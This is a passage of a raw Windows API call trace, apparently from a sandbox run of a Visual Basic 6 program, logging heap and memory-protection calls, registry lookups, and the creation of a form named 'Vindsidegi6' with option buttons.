Size=0x68) returned 0x209d0d8 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xfc) returned 0x209d148 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a328 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b6c0 [0084.493] lstrlenA (lpString="VB") returned 2 [0084.493] lstrlenA (lpString="Image") returned 5 [0084.493] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x9) returned 0x209c440 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x24) returned 0x209de60 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x98) returned 0x209de90 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x34) returned 0x209df30 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x154) returned 0x209df70 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a548 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209b7e8 [0084.494] lstrlenA (lpString="VB") returned 2 [0084.494] lstrlenA (lpString="Data") returned 4 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x209e0d0 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xd8) returned 0x209e0e0 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x3c) returned 0x209e1c0 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x1d8) returned 0x209e208 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a488 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x114) returned 0x209ba38 [0084.494] lstrlenA (lpString="VB") returned 2 [0084.494] lstrlenA (lpString="OLE") returned 3 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x7) returned 0x209e3e8 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x17c) returned 0x209e3f8 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x40) returned 0x209e580 [0084.494] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x2f0) returned 0x209e5c8 [0084.495] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a388 [0084.496] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x6412c8 [0084.496] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x63e810 [0084.496] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x6419b8 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x63f368 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x63ec90 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x641a88 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x6411d8 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x636e90 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x63ebe0 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x63ea00 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x6400a0 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x64) returned 0x640110 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0xc) returned 0x6516b8 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x108) returned 0x651038 [0084.497] IMalloc:GetSize (This=0x74b3d000, pv=0x651038) returned 0x108 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x20) returned 0x63ad58 [0084.497] GetCurrentThreadId () returned 0x10c0 [0084.497] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x54) returned 0x209e8c0 [0084.497] GetCurrentThreadId () returned 0x10c0 [0084.497] IMalloc:Alloc (This=0x74b3d000, cb=0x1c) returned 0x63ae98 [0084.497] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x104) returned 0x209e920 [0084.497] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x6f8) returned 0x2910048 [0084.498] VirtualProtect (in: lpAddress=0x430000, dwSize=0x6000, flNewProtect=0x4, lpflOldProtect=0x19fdf0 | out: lpflOldProtect=0x19fdf0*=0x20) returned 1 [0084.498] GetCurrentProcess () returned 0xffffffff [0084.498] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x430000, dwSize=0x6000) returned 1 [0084.498] VirtualAlloc (lpAddress=0x430000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0084.498] VirtualAlloc (lpAddress=0x430000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0084.499] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xd4) returned 0x209ea30 [0084.499] VirtualAlloc (lpAddress=0x430000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0084.499] VirtualAlloc (lpAddress=0x430000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0084.499] VirtualProtect (in: lpAddress=0x430000, dwSize=0xa000, flNewProtect=0x20, lpflOldProtect=0x19fdf0 | out: lpflOldProtect=0x19fdf0*=0x4) returned 1 [0084.502] GetCurrentProcess () returned 0xffffffff [0084.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x430000, dwSize=0xa000) returned 1 [0084.502] GetCurrentThreadId () returned 0x10c0 [0084.502] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x23ec) returned 0x2910748 [0084.512] GetCurrentThreadId () returned 0x10c0 [0084.512] SetWindowTextA (hWnd=0x7012a, lpString="inter") returned 1 [0084.512] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0xc, wParam=0x0, lParam=0x19fd64) returned 0x1 [0084.523] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x19fd4c | out: phkResult=0x19fd4c*=0x0) returned 0x2 [0084.530] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0084.530] VirtualQuery (in: lpAddress=0x19f778, lpBuffer=0x19f75c, dwLength=0x1c | out: lpBuffer=0x19f75c*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0084.543] IMalloc:Alloc (This=0x74b3d000, cb=0x50) returned 0x63fcd8 [0084.543] IMalloc:GetSize (This=0x74b3d000, pv=0x63fcd8) returned 0x50 [0084.551] GetCurrentThreadId () returned 0x10c0 [0084.551] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x104) returned 0x209eb10 [0084.551] GetCurrentThreadId () returned 0x10c0 [0084.551] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x10c) returned 0x209ec20 [0084.552] GetCurrentThreadId () returned 0x10c0 [0084.562] GetCurrentThreadId () returned 0x10c0 [0084.562] GetCurrentThreadId () returned 0x10c0 [0084.562] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x140) returned 0x209ed38 [0084.562] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x10) returned 0x209c518 [0084.562] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x434) returned 0x2912b40 [0084.563] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x17c [0084.564] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x198) returned 0x2912f80 [0084.565] GetVersionExA (in: lpVersionInformation=0x19fa74*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2912f80, dwMinorVersion=0x359, dwBuildNumber=0x419fd00, dwPlatformId=0x20900c0, szCSDVersion="") | out: lpVersionInformation=0x19fa74*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0084.565] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0084.565] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a3c8 [0084.566] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x14) returned 0x209a428 [0084.566] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x80) returned 0x209ee80 [0084.566] HeapFree (in: hHeap=0x2090000, dwFlags=0x0, lpMem=0x209ee80 | out: hHeap=0x2090000) returned 1 [0084.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66052cd8, cbMultiByte=-1, lpWideCharStr=0x19fa9c, cchWideChar=14 | out: lpWideCharStr="MS Sans Serif") returned 14 [0084.566] OleCreateFontIndirect () returned 0x0 [0084.567] CFont::SetRatio () returned 0x0 [0084.569] CFont::get_hFont () returned 0x0 [0084.573] CFont::Clone () returned 0x0 [0084.573] CFont::SetRatio () returned 0x0 [0084.574] lstrlenA (lpString="Vindsidegi6") returned 11 [0084.574] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xc) returned 0x209c428 [0084.576] OleLoadPictureEx () returned 0x0 [0084.869] CPicture::get_Type () returned 0x0 [0084.869] CPicture::QueryInterface () returned 0x0 [0084.876] CPicture::AddRef () returned 0x3 [0084.876] CPicture::Release () returned 0x2 [0084.876] CPicture::Release () returned 0x1 [0084.876] OleLoadPictureEx () returned 0x0 [0085.528] CPicture::get_Type () returned 0x0 [0085.528] CPicture::QueryInterface () returned 0x0 [0085.528] CPicture::get_Type () returned 0x0 [0085.528] CPicture::get_Type () returned 0x0 [0085.528] CPicture::AddRef () returned 0x3 [0085.528] CPicture::Release () returned 0x2 [0085.528] CPicture::Release () returned 0x1 [0085.528] lstrlenA (lpString="Vindsidegi6") returned 11 [0085.529] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0xc) returned 0x209c3b0 [0085.529] lstrlenA (lpString="ThunderRT6") returned 10 [0085.529] lstrcpyA (in: lpString1=0x19fab0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0085.529] lstrlenA (lpString="ThunderRT6Form") returned 14 [0085.529] lstrcpynA (in: lpString1=0x19fabe, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0085.529] lstrlenA (lpString="ThunderRT6") returned 10 [0085.529] lstrcpyA (in: lpString1=0x19fa44, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0085.529] GetClassInfoA (in: hInstance=0x66000000, lpClassName="ThunderRT6Form", lpWndClass=0x19fa70 | out: lpWndClass=0x19fa70) returned 0 [0085.531] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0085.531] RegisterClassA (lpWndClass=0x19fa70) returned 0xc1a0 [0085.531] lstrlenA (lpString="ThunderRT6") returned 10 [0085.531] lstrcpyA (in: lpString1=0x19fa44, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0085.531] lstrlenA (lpString="ThunderRT6Form") returned 14 [0085.531] lstrcpynA (in: lpString1=0x19fa52, lpString2="DC", iMaxLength=29 | out: lpString1="DC") returned="DC" [0085.531] RegisterClassA (lpWndClass=0x19fa70) returned 0xc1a1 [0085.532] AdjustWindowRectEx (in: lpRect=0x19fb70, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19fb70) returned 1 [0085.532] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1a1, lpWindowName="Vindsidegi6", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=429, nHeight=304, hWndParent=0x7012a, hMenu=0x0, hInstance=0x66000000, lpParam=0x0) returned 0xa02c6 [0085.533] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x81, wParam=0x0, lParam=0x19f620) returned 0x1 [0085.534] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x83, wParam=0x0, lParam=0x19f60c) returned 0x0 [0086.094] GetSystemMenu (hWnd=0xa02c6, bRevert=0) returned 0x220299 [0086.100] SetWindowContextHelpId (param_1=0xa02c6, param_2=0xffffffff) returned 1 [0086.100] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x1, wParam=0x0, lParam=0x19f620) returned 0x0 [0086.105] GetWindowRect (in: hWnd=0xa02c6, lpRect=0x19fb34 | out: lpRect=0x19fb34) returned 1 [0086.105] GetDC (hWnd=0xa02c6) returned 0x38010666 [0086.105] GetTextMetricsA (in: hdc=0x38010666, lptm=0x19fa5c | out: lptm=0x19fa5c) returned 1 [0086.105] SetBkMode (hdc=0x38010666, mode=1) returned 2 [0086.106] OleTranslateColor () returned 0x0 [0086.106] SetBkColor (hdc=0x38010666, color=0xf0f0f0) returned 0xffffff [0086.106] OleTranslateColor () returned 0x0 [0086.106] SetTextColor (hdc=0x38010666, color=0x0) returned 0x0 [0086.106] OleTranslateColor () returned 0x0 [0086.106] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x49300546 [0086.106] SelectObject (hdc=0x38010666, h=0x49300546) returned 0xb00017 [0086.106] SelectObject (hdc=0x38010666, h=0x900011) returned 0x900010 [0086.106] ClientToScreen (in: hWnd=0xa02c6, lpPoint=0x19fa3c | out: lpPoint=0x19fa3c) returned 1 [0086.106] SetBrushOrgEx (in: hdc=0x38010666, x=4, y=3, lppt=0x0 | out: lppt=0x0) returned 1 [0086.106] UnrealizeObject (h=0x900015) returned 1 [0086.106] SelectObject (hdc=0x38010666, h=0x900015) returned 0x900011 [0086.106] CFont::QueryInterface () returned 0x0 [0086.106] CFont::FindConnectionPoint () returned 0x0 [0086.106] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x209a1e8 [0086.106] CNotifyCP::Advise () returned 0x0 [0086.107] CFont::get_hFont () returned 0x0 [0086.107] CFont::AddRefHfont () returned 0x0 [0086.107] SelectObject (hdc=0x38010666, h=0x4e0a07fb) returned 0x8a01c2 [0086.107] GetTextMetricsA (in: hdc=0x38010666, lptm=0x19f850 | out: lptm=0x19f850) returned 1 [0086.107] CFontEventsCP::Release () returned 0x0 [0086.107] Release () returned 0x1 [0086.109] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xdc) returned 0x209ee80 [0086.109] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a2c8 [0086.109] CFont::Clone () returned 0x0 [0086.109] CFont::SetRatio () returned 0x0 [0086.109] lstrlenA (lpString="Option3") returned 7 [0086.109] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x209ef68 [0086.109] lstrlenA (lpString="ThunderRT6") returned 10 [0086.109] lstrcpyA (in: lpString1=0x19fa80, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0086.109] lstrlenA (lpString="ThunderRT6") returned 10 [0086.109] lstrcpyA (in: lpString1=0x19fa14, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0086.109] GetClassInfoA (in: hInstance=0x0, lpClassName="Button", lpWndClass=0x19fa40 | out: lpWndClass=0x19fa40) returned 1 [0086.110] GetClassInfoA (in: hInstance=0x66000000, lpClassName="ThunderRT6OptionButton", lpWndClass=0x19fa40 | out: lpWndClass=0x19fa40) returned 0 [0086.110] RegisterClassA (lpWndClass=0x19fa40) returned 0xc1a2 [0086.110] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1a2, lpWindowName="Option3", dwStyle=0x44012004, X=142, Y=26, nWidth=44, nHeight=33, hWndParent=0xa02c6, hMenu=0x1, hInstance=0x66000000, lpParam=0x0) returned 0x70030 [0086.111] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x81, wParam=0x0, lParam=0x19f5f0) returned 0x1 [0086.112] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x83, wParam=0x0, lParam=0x19f5dc) returned 0x0 [0086.112] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x1, wParam=0x0, lParam=0x19f5f0) returned 0x0 [0086.113] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x5, wParam=0x0, lParam=0x21002c) returned 0x0 [0086.113] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x3, wParam=0x0, lParam=0x1a008e) returned 0x0 [0086.113] IsWindow (hWnd=0x70030) returned 1 [0086.113] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x210, wParam=0x10001, lParam=0x70030) returned 0x0 [0086.114] CFont::QueryInterface () returned 0x0 [0086.114] CFont::FindConnectionPoint () returned 0x0 [0086.114] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x209a188 [0086.114] CNotifyCP::Advise () returned 0x0 [0086.114] CFont::get_hFont () returned 0x0 [0086.114] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x30, wParam=0x4e0a07fb, lParam=0x0) returned 0x0 [0086.114] CFontEventsCP::Release () returned 0x0 [0086.114] Release () returned 0x1 [0086.114] ShowWindow (hWnd=0x70030, nCmdShow=5) returned 0 [0086.114] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x70030, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0086.115] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xdc) returned 0x2913120 [0086.115] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a408 [0086.115] CFont::Clone () returned 0x0 [0086.115] CFont::SetRatio () returned 0x0 [0086.115] lstrlenA (lpString="Option2") returned 7 [0086.115] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x209ef78 [0086.115] lstrlenA (lpString="ThunderRT6") returned 10 [0086.115] lstrcpyA (in: lpString1=0x19fa80, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0086.115] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1a2, lpWindowName="Option2", dwStyle=0x44012004, X=122, Y=22, nWidth=20, nHeight=33, hWndParent=0xa02c6, hMenu=0x2, hInstance=0x66000000, lpParam=0x0) returned 0x6002e [0086.116] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x81, wParam=0x0, lParam=0x19f5f0) returned 0x1 [0086.116] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x83, wParam=0x0, lParam=0x19f5dc) returned 0x0 [0086.120] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x1, wParam=0x0, lParam=0x19f5f0) returned 0x0 [0086.121] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x5, wParam=0x0, lParam=0x210014) returned 0x0 [0086.121] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x3, wParam=0x0, lParam=0x16007a) returned 0x0 [0086.121] IsWindow (hWnd=0x6002e) returned 1 [0086.121] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x210, wParam=0x20001, lParam=0x6002e) returned 0x0 [0086.121] CFont::QueryInterface () returned 0x0 [0086.121] CFont::FindConnectionPoint () returned 0x0 [0086.122] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x209a1a8 [0086.122] CNotifyCP::Advise () returned 0x0 [0086.122] CFont::get_hFont () returned 0x0 [0086.122] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x30, wParam=0x4e0a07fb, lParam=0x0) returned 0x0 [0086.122] CFontEventsCP::Release () returned 0x0 [0086.122] Release () returned 0x1 [0086.122] ShowWindow (hWnd=0x6002e, nCmdShow=5) returned 0 [0086.122] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x6002e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0086.122] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xdc) returned 0x2913208 [0086.122] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a4a8 [0086.122] CFont::Clone () returned 0x0 [0086.122] CFont::SetRatio () returned 0x0 [0086.122] lstrlenA (lpString="Option1") returned 7 [0086.122] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x8) returned 0x209ef88 [0086.122] lstrlenA (lpString="ThunderRT6") returned 10 [0086.122] lstrcpyA (in: lpString1=0x19fa80, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0086.123] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1a2, lpWindowName="Option1", dwStyle=0x44012004, X=61, Y=71, nWidth=78, nHeight=33, hWndParent=0xa02c6, hMenu=0x3, hInstance=0x66000000, lpParam=0x0) returned 0x7005c [0086.123] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x81, wParam=0x0, lParam=0x19f5f0) returned 0x1 [0086.124] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x83, wParam=0x0, lParam=0x19f5dc) returned 0x0 [0086.124] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x1, wParam=0x0, lParam=0x19f5f0) returned 0x0 [0086.125] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x5, wParam=0x0, lParam=0x21004e) returned 0x0 [0086.125] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x3, wParam=0x0, lParam=0x47003d) returned 0x0 [0086.125] IsWindow (hWnd=0x7005c) returned 1 [0086.125] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x210, wParam=0x30001, lParam=0x7005c) returned 0x0 [0086.125] CFont::QueryInterface () returned 0x0 [0086.125] CFont::FindConnectionPoint () returned 0x0 [0086.125] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x209a3e8 [0086.125] CNotifyCP::Advise () returned 0x0 [0086.125] CFont::get_hFont () returned 0x0 [0086.126] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x30, wParam=0x4e0a07fb, lParam=0x0) returned 0x0 [0086.126] CFontEventsCP::Release () returned 0x0 [0086.126] Release () returned 0x1 [0086.126] ShowWindow (hWnd=0x7005c, nCmdShow=5) returned 0 [0086.126] CallWindowProcA (lpPrevWndFunc=0x779f56e0, hWnd=0x7005c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0086.126] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xdc) returned 0x29132f0 [0086.126] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a4e8 [0086.126] CFont::Clone () returned 0x0 [0086.126] CFont::SetRatio () returned 0x0 [0086.126] lstrlenA (lpString="Label1") returned 6 [0086.126] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x7) returned 0x209ef98 [0086.126] CFont::QueryInterface () returned 0x0 [0086.126] CFont::FindConnectionPoint () returned 0x0 [0086.127] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x14) returned 0x209a508 [0086.127] CNotifyCP::Advise () returned 0x0 [0086.127] CFont::get_hFont () returned 0x0 [0086.127] CFontEventsCP::Release () returned 0x0 [0086.127] Release () returned 0x1 [0086.127] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xf0) returned 0x29133d8 [0086.127] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a528 [0086.131] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xf0) returned 0x29134d0 [0086.131] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x15) returned 0x209a1c8 [0086.131] GetClientRect (in: hWnd=0xa02c6, lpRect=0x19fbf0 | out: lpRect=0x19fbf0) returned 1 [0086.131] MapWindowPoints (in: hWndFrom=0xa02c6, hWndTo=0x0, lpPoints=0x19fbf0, cPoints=0x2 | out: lpPoints=0x19fbf0) returned 12255396 [0086.131] EqualRect (lprc1=0x19fbf0, lprc2=0x19fbd0) returned 1 [0086.131] SetEvent (hEvent=0x17c) returned 1 [0086.131] CPicture::get_hPal () returned 0x0 [0086.131] CPicture::AddRef () returned 0x2 [0086.131] CPicture::get_Type () returned 0x0 [0086.131] CPicture::get_CurDC () returned 0x0 [0086.131] CPicture::AddRef () returned 0x3 [0086.131] CPicture::Release () returned 0x2 [0086.131] CPicture::get_Type () returned 0x0 [0086.131] CPicture::QueryInterface () returned 0x0 [0086.132] CPicture::FindConnectionPoint () returned 0x0 [0086.132] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x10) returned 0x209c398 [0086.132] CNotifyCP::Advise () returned 0x0 [0086.132] Release () returned 0x2 [0086.132] InvalidateRect (hWnd=0xa02c6, lpRect=0x0, bErase=1) returned 1 [0086.132] UpdateWindow (hWnd=0xa02c6) returned 1 [0086.132] CPicture::Release () returned 0x1 [0086.132] CPicture::get_Type () returned 0x0 [0086.132] CPicture::get_Handle () returned 0x0 [0086.132] SendMessageA (hWnd=0xa02c6, Msg=0x80, wParam=0x1, lParam=0x902b9) returned 0x0 [0086.132] GetCapture () returned 0x0 [0086.132] GetCapture () returned 0x0 [0086.132] NtdllDefWindowProc_A (hWnd=0xa02c6, Msg=0x80, wParam=0x1, lParam=0x902b9) returned 0x0 [0086.135] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x19faac | out: ppstm=0x19faac*=0x65bff0) returned 0x0 [0086.144] CPicture::get_KeepOriginalFormat () returned 0x0 [0086.144] CPicture::SaveAsFile () returned 0x0 [0086.145] GetSystemMetrics (nIndex=49) returned 16 [0086.145] GetSystemMetrics (nIndex=50) returned 16 [0086.172] IStream:RemoteSeek (in: This=0x65bff0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.172] ISequentialStream:RemoteRead (in: This=0x65bff0, pv=0x19fa5c, cb=0x6, pcbRead=0x0 | out: pv=0x19fa5c*=0x0, pcbRead=0x0) returned 0x0 [0086.172] ISequentialStream:RemoteRead (in: This=0x65bff0, pv=0x19fa34, cb=0x10, pcbRead=0x0 | out: pv=0x19fa34*=0x18, pcbRead=0x0) returned 0x0 [0086.172] ISequentialStream:RemoteRead (in: This=0x65bff0, pv=0x19fa34, cb=0x10, pcbRead=0x0 | out: pv=0x19fa34*=0x10, pcbRead=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x65bff0, dlibMove=0x21e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.173] GlobalLock (hMem=0x2f1000c) returned 0x6619a0 [0086.173] ISequentialStream:RemoteRead (in: This=0x65bff0, pv=0x6619a0, cb=0x28, pcbRead=0x0 | out: pv=0x6619a0*=0x28, pcbRead=0x0) returned 0x0 [0086.173] ISequentialStream:RemoteRead (in: This=0x65bff0, pv=0x6619c8, cb=0x100, pcbRead=0x0 | out: pv=0x6619c8*=0x0, pcbRead=0x0) returned 0x0 [0086.173] GlobalUnlock (hMem=0x2f1000c) returned 0 [0086.173] GlobalLock (hMem=0x2f1000c) returned 0x6619a0 [0086.173] GlobalSize (hMem=0x2f1000c) returned 0x128 [0086.173] GetDC (hWnd=0x0) returned 0x60100ce [0086.173] CreateCompatibleBitmap (hdc=0x60100ce, cx=32, cy=32) returned 0xf050199 [0086.174] SelectObject (hdc=0x5e01066f, h=0xf050199) returned 0x85000f [0086.174] StretchDIBits (hdc=0x5e01066f, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x661a08, lpbmi=0x6619a0, iUsage=0x0, rop=0xcc0020) returned 16 [0086.174] GetObjectA (in: h=0xf050199, c=24, pv=0x19f9cc | out: pv=0x19f9cc) returned 24 [0086.174] GlobalLock (hMem=0x2f1001c) returned 0x661ad8 [0086.174] GetBitmapBits (in: hbit=0xf050199, cb=4096, lpvBits=0x661ad8 | out: lpvBits=0x661ad8) returned 4096 [0086.174] SelectObject (hdc=0x5e01066f, h=0x85000f) returned 0xf050199 [0086.174] DeleteObject (ho=0xf050199) returned 1 [0086.175] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x10050199 [0086.175] SelectObject (hdc=0x5e01066f, h=0x10050199) returned 0x85000f [0086.175] StretchDIBits (hdc=0x5e01066f, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x661a88, lpbmi=0x6619a0, iUsage=0x0, rop=0xcc0020) returned 16 [0086.175] GetObjectA (in: h=0x10050199, c=24, pv=0x19f9b4 | out: pv=0x19f9b4) returned 